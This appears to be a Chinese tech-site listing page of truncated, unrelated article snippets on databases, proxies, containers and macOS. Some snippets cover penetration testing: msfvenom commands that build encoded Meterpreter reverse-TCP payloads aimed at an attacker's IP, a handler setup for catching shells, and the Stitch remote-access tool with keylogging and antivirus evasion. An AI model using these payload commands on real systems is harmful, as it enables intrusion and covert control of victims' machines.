本文使用「署名 4.0 国际 (CC BY 4.0)」许可协议，欢迎转载、或重新修改使用，但需要注明来源。 署名 4.0 国际 (CC BY 4.0)
Stitch是一款基于Python的跨平台远程管理工具。由于其跨平台性，Stitch允许用户针对Windows, Mac OSX 或 Linux分别定制不同的payload。你可以根据自己的需要，来选择绑定的IP及监听端口。 你还可以设置是否在目标系统启动时，向你发送系统信息邮件，以及是否开启键盘记录。 特点： 跨平台支持： 文件及命令自动执行 防病毒检测 可以打开或关闭显示屏监视器 隐藏或显示文件和目录 查看或修改hosts文件 查看系统所有环境变量 键盘记录器具有查看状态，启动，停止和将日志转储到主
在Hecker News中我提到过，我记录了一种我使用NGINX(一个久经考验的产品，可以迅速地反向代理)作为一个本地测试代理服务器的方法。
近两年来，Shlayer木马一直是MacOS平台上最常见的恶意软件，十分之一的MacOS用户受到它的攻击，占该操作系统检测到攻击行为的30%。第一批样本发现于2018年2月，此后收集了近32000个不同的木马恶意样本，并确定了143个C&C服务器。
网络嗅探器在日常工作中经常使用，通常情况下，我们叫做“抓包工具”，不管是软件开发、还是网络工程师，抓包解决一些问题已经称为最正常不过的操作。
本文同样适用于接入 ARM、MIPS 架构，FreeBSD、Windows 系统的物理机，如果 Jenkins 能连上构建机，可以跳过 Frp 部分。
Metasploit 是一款开源的安全漏洞检测工具，可以帮助安全和IT专业人士识别安全性问题，验证漏洞的缓解措施，同时该工具也是渗透测试环境中的利器，它支持多平台Payload的生成具有完全的跨平台性，本次实验将学会生成各种攻击载荷。
2018年，我有幸受邀参加了HackerOne在赌城拉斯维加斯举办的，赏金超过50万美金的H1-702黑客马拉松大赛。本次大赛的测试目标包括GitHub，对我个人来说，我平时喜欢对一些常用软件开展漏洞挖掘，有了这个基础，我就把GitHub定为这次比赛中我的测试对象。最终，我发现了GitHub Desktop程序在OSX系统下的一个远程代码执行（RCE）漏洞，但却被认定为超出测试范围！好在，GitHub众测项目中有这么一句”偶尔，我们会根据具体情况酌情奖励一些例外的漏洞报告“，我也获得了GitHub官方的不菲赏金。
MongoDB（来自于英文单词“Humongous”，中文含义为“庞大”）是可以应用于各种规模的企业、各个行业以及各类应用程序的开源数据库。作为一个适用于敏捷开发的数据库，MongoDB的数据模式可以随着应用程序的发展而灵活地更新。与此同时，它也为开发人员 提供了传统数据库的功能：二级索引，完整的查询系统以及严格一致性等等。 MongoDB能够使企业更加具有敏捷性和可扩展性，各种规模的企业都可以通过使用MongoDB来创建新的应用，提高与客户之间的工作效率，加快产品上市时间，以及降低企业成本。
请求远程协助时的一个常见问题是访问用户计算机。通常，用户计算机位于阻止传入连接的NAT或防火墙后面，对于非技术用户来说，设置端口转发和防火墙规则是一个问题。远程访问可用于用户支持。每当您需要例如在防火墙后访问ntopng而又不想设置VPN时，它都很方便。由于n2n依赖于超级节点的概念，因此ntop代表您设置了一个公共超级节点，以避免您这样做。但是，我们建议您设置私有超级节点并在ntopng首选项中对其进行配置，以便您可以拥有完全私有的远程访问基础结构。 启用远程协助后，您可以通过为人们提供正确的凭据来使他们连接到您的ntopng主机。除非您提供凭据，否则ntop团队无法访问您的ntopng实例。
什么是SIEM？英文全称为Security Information Event Management，安全信息与事件管理，Gartner定义为：安全信息和事件管理（SIEM）技术通过对来自各种事件和上下文数据源的安全事件的实时收集和历史分析来支持威胁检测和安全事件响应。
据网络上不完全统计，Git的市场占有率基本上已经超过三分之二，如果此时还未使用Git进行代码托管，可能需要反思一下你的开发“环境”（技术比较守旧）了。
K8S 提供的是集群部署和运维能力，istio 提供流量管控，这是 K8S 和 istio 的区别。
Windows: msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST= 攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe Linux: msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻
注: 本文非官方博客发布, 是我自己用版本工具对比出来的. 所以新加的我可能不了解其思想, 零碎的改动也被我忽略, 写出来的也不保证完全正确… Foundation l Core 增加OSX相关支持 config.h增加PUBLIC_BUILD相关配置 增加n_assert2宏 Rtti/Factory增加无FourCC的Register方法 l FrameSync 增加FrameSyncSharedData类, 用于两个线程间的数据交换 FrameSyncHandlerThread增加锁定帧时
目前市面上优秀的请求转发有很多种，比如：Nginx、F5、Kong、Tengine等，其中Tengine是阿里巴巴基于Nginx进行封装，我们本章的内容基于Nginx进行讲解，我们先来准备下nginx的测试环境。
Datadog (https://www.datadoghq.com/) 是一款监控和统计分析工具主要应用在IT公司和DevOps团队，为这些企业或用户提供完整的SaaS监控服务(软件即服务，全称Software-as-a-Service)，包括查看到整个服务的性能、基础设施状态、指标和事件告警等。 Datadog支持多种操作系统环境包括Windows、Linux\UNIX和Mac等，也支持常见的云服务提供商这些服务商包括AWS、微软、Red Hat OpenShift和谷歌云等，另外，按网络环境划分公有云、私有云和混合云，目前Datadog都能支持与管理。
前言：开发很方便 地址：http://www.ngrok.cc/ 下载地址： 1. 1.7版客户端： Linux 32Bit版本 Linux 64Bit版本 Linux ARM版本 Mac OSX 32Bit版本 Mac OSX 64Bit版本 Win 32Bit版本 Win 64Bit版本 2. 修改配置文件 修改ngrok.cfg配置文件 参数说明： auth_token：服务授权验证密钥 subd
*原创作者：熊猫正正 一、前言 OSX是苹果公司为Mac系列产品开发的专属操作系统，是第一个基于FreeBSD系统采用面向对象操作系统。 从OSX V10.0-V10.8版本开始，OSX系统的代号都是以大型猫科动物为代号，可能老乔也是猫科动物的爱好者吧（我也是猫科动物的忠实爱好者，哈哈），OSX系统的演化如下： 2001Mac OSX 10.0 Cheeta 猎豹 2001Mac OSX 10.1 Puma 美洲狮 2002Mac OSX 10.2 Jaguar 美州豹 2002Mac OSX
作者：7sDream 来源： https://www.zybuluo.com/7sDream/note/729295 安装 MSF Linux & Mac OS X 如果遇到问题，点开这个链接，然后
本文将介绍如何使用Docker Compose搭建Istio。Istio号称支持多种平台（不仅仅Kubernetes）。然而，官网上非基于Kubernetes的教程仿佛不是亲儿子，写得非常随便，不仅缺了一些内容，而且还有坑。本文希望能补实这些内容。我认为在学习Istio的过程中，相比于Kubernetes，使用Docker Compose部署更能深刻地理解Istio各个组件的用处以及他们的交互关系。在理解了这些后，可以在其他环境，甚至直接在虚拟机上部署Istio。当然，生产环境建议使用Kubernetes等成熟的容器框架。
ps -A -o stat,ppid,pid,cmd | grep -e '^[Zz]' | awk '{print $2}' | xargs kill -9
在不少电影电视剧中，主角的身边都有这么一位电脑高手：他们分分钟可以黑进反派的网络，攻破安全防线，破解口令密码，拿到重要文件。他们的电脑屏幕上都是一些看不懂的图形和数字，你能看懂的就只有那个进度条，伴随着紧张的BGM，慢慢的向100%靠近······
和其它 Linux 的 DE 一样，macOS 也支持在“系统偏好设置”中设置 HTTP 代理、HTTPS 代理，但是 macOS 并不会在终端（Terminal、iTerm）的 shell 中自动生效系统代理配置。为了方便日常使用，我决定好好研究一下 macOS 的系统代理。
github上有一个专门的docker-libary项目，里面有各种各样常用的docker镜像，可以做为学习的示例，今天研究下其中mysql镜像的用法，国内镜像daocloud.io也能找到mysql的镜像，但根据其参考文档在mac上尝试了数次，将mysql数据库文件存储在mac本机时，启动总是报错，大意是docker容器运行时，容器的当前用户mysql，由于权限不足无法mac本机上创建文件，stackoverflow上有人解决了这个问题，参考其解决方法，重新整理了下Dockerfile文件，内容如下（主要
简介 MongoDB是一个基于分布式文件存储的数据库。由C++语言编写。旨在为WEB应用提供可扩展的高性能数据存储解决方案。 MongoDB 是一个介于关系数据库和非关系数据库之间的产品，是非关系数据库当中功能最丰富，最像关系数据库的。他支持的数据结构非常松散，是类似json的bson格式，因此可以存储比较复杂的数据类型。Mongo最大的特点是他支持的查询语言非常强大，其语法有点类似于面向对象的查询语言，几乎可以实现类似关系数据库单表查询的绝大部分功能，而且还支持对数据建立索引。 首先熟悉两个相关的基本概念
通常 Metasploit 最有用（对于初学者来说被低估）的功能之一是 msfpayload 模块。可以使用此模块创建多个有效负载，它有助于在几乎任何情况下为您提供外壳。对于这些有效负载中的每一个，您都可以进入 msfconsole 并选择exploit/multi/handler。为使用的相关负载运行“设置负载”并配置所有必要的选项（LHOST、LPORT 等）。执行并等待有效负载运行。对于下面的示例，它是不言自明的，但 LHOST 应填写您的 IP 地址（如果在网络内进行攻击，则为 LAN IP，如果通过 Internet 进行攻击，则为 WAN IP），并且 LPORT 应该是您希望重新连接的端口。
NSmartProxy是一款免费的内网穿透工具。 使用中如果有任何问题和建议，可以点击这里加入Gitter群组或者点击这里加入QQ群 （群号：813170640）我们一起讨论。
*本文作者：Li4n06，本文属 FreeBuf 原创奖励计划，未经许可禁止转载。
ongodb中有三元素：数据库，集合，文档，其中“集合”就是对应关系型数据库中的“表”，“文档”对应“行”。
在很多企业会使用闲置的 Windows 机器作为临时服务器，有时候我们想远程调用里面的程序或查看日志文件
在iOS日常开发中,Xcode的模拟器作为调试App的必备工具,使用频度很高,一些app需要对数据进行持久化,因此就需要经常访问模App内的Doucment,Cache,Preferences等文件路径,然后进行数据查看或者修改,删除等操作.如果每次都使用NSLog输出文件路径,虽然容易,但仍让人感觉有一点点疲劳,(在Xcode8之前,可以使用插件实现文件路径查找),因此写了这个小工具,试试效果~
在最近的一次CTF比赛中,有内网渗透相关的题目,当时只能反弹一个最基本的bash,没办法上传代理工具把内网端口转发出来,由于时间紧没有细想,草草拿了主机的flag就没有继续了,但其实msf在这种情况下是有完善的功能的,搜索了下相关的资料还没有比较详细的讲解,这里希望能给出一个较为完整的解释,如果有任何问题,请师傅们指正。
近期，卡巴斯基实验室的安全研究人员发现了一种恶意软件，这种恶意软件可以在目前主流的几款操作系统平台上运行，包括Windows、Linux和Mac OSX。 根据报道，安全研究专家在今年一月份发现了一款针对计算机操作系统的跨平台木马后门。当时，安全研究人员仅在Linux和Windows这两大操作系统中发现了该后门的代码。 而现在，研究人员又在OSX系统中检测到了这一后门变种（Mokes.A）。据分析，这一后门采用了C++编程语言进行开发，并且还使用到了Qt框架（一款跨平台应用程序框架）。 跨平台的恶意软件
DOCKER技术在推出后掀起了一阵容器化技术的热潮，容器化使得服务的部署变得极其简易，这为微服务和分布式计算提供了很大的便利。
对于所有shellcode，请参阅“ msfvenom –h”以获取有关有效参数的信息。Msfvenom将输出能够以这种语言剪切和粘贴的代码，来供利用。
本排名根据DB Engines的排行榜得来，该排行榜从人气上分析了市场上200个不同的数据库，这里一览Top 10。 无可争议的Top 3 Oracle、MySQL及Microsoft SQLServer一直以绝对的优势霸占着排行榜的前三名，以独特的优势瓜分了市场上最多的用户。 1. Oracle11g 首次发行：1980年 许可机制：Proprietary 是否SQL：是 · Oracle是重要商业项目的首选，同时也是市场上最古老的主流数据库产品 · Oracle有4个不同的版本可用：Enterpris
自己开始接触 Linux「Ubuntu」应该是在大学期间， 接触 Unix「Mac OSX」是在工作后的第一份工作，吭哧吭哧的用了好几年的 Linux，强行此文，自己总结了目前经常用到的几个命令，希望给 Linux 用户提供帮助。
本文聊一下如何在Windows上用VS开发并发布， 然后将其部署到CentOS上。对于我们一些常在Windows上逛的来说，CentOS用起来还真有些麻烦。MSDN官方有篇文章大概讲了一下（链接），按照MSDN上面的例子用vs创建个hellomvc项目，还是踩了好多坑，将整个过程和遇到的坑说一下，希望对有需要的朋友有所帮助。（ASP.NET Core系列目录） 本文主要内容： 1.工具准备 2.CentOS 上安装.NET Core环境 3.Windows上用VS发布项目 4.项目运
恕我直言，cs 无论是马或者源文件都被分析烂了，且 cs 的行为太明显了，必 须要大改特改才能满足现在的红蓝对抗，但是想大改谈何容易，所以最快的方 法是寻找一款新的 c2 框架，说白了，远控自己都能写一个出来，执行一些简单 操作还是可以的。
Monit是一个跨平台的用来监控Unix/linux系统（比如Linux、BSD、OSX、Solaris）的工具。Monit特别易于安装，而且非常轻量级（只有500KB大小），并且不依赖任何第三方程序、插件或者库。 Monit可以监控服务器进程状态、端口状态，HTTP/TCP状态码、服务器资源变化、文件系统变动等等，根据这些变化，可以设定邮件报警、重启进程或服务。易于安装、轻量级的实现以及强大的功能，让Monit成为一个理想的后备监控工具。 monit不像zabbix功能那么强大，但是胜在轻量级，且具备基本所有的监控需求，比较适合中小型创业公司的使用。 官网：https://mmonit.com/monit
MongoDB 提供了 OSX 平台上 64 位的安装包，你可以在官网下载安装包。
前言 随着互联网的发展，无论是web服务还是移动APP越来越多的都集成了第三方支付(支付宝、微信、银联)。通常作为服务提供方，支付成功以后都会有一个后端回调URL来通知是否调用者是否支付成功，这个URL必须是公网环境，并且可以被访问到。然而在实际开发测试环境中，我们一般都是在内网开发，所以说对于支付测试是一件比较麻烦的事情。 内网穿透 这时候，我们就需要内网穿透服务来解决第三方服务无法回调的问题了，下面我们来稍微盘点那些流行的内网穿透技术。 Ngrok ngrok 是一个反向代理，通过在公共的端点和本地运
linux 下怎样寻找mongodb安装的位置 find / -name mongodb #通用方法，同时返回的比较多的信息，不管有没有权限的 locate mongodb #不推荐 wh
1。通过whereis monggodb 找到mongodb的安装目录，并进入目录
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
腾讯会议
实时音视频
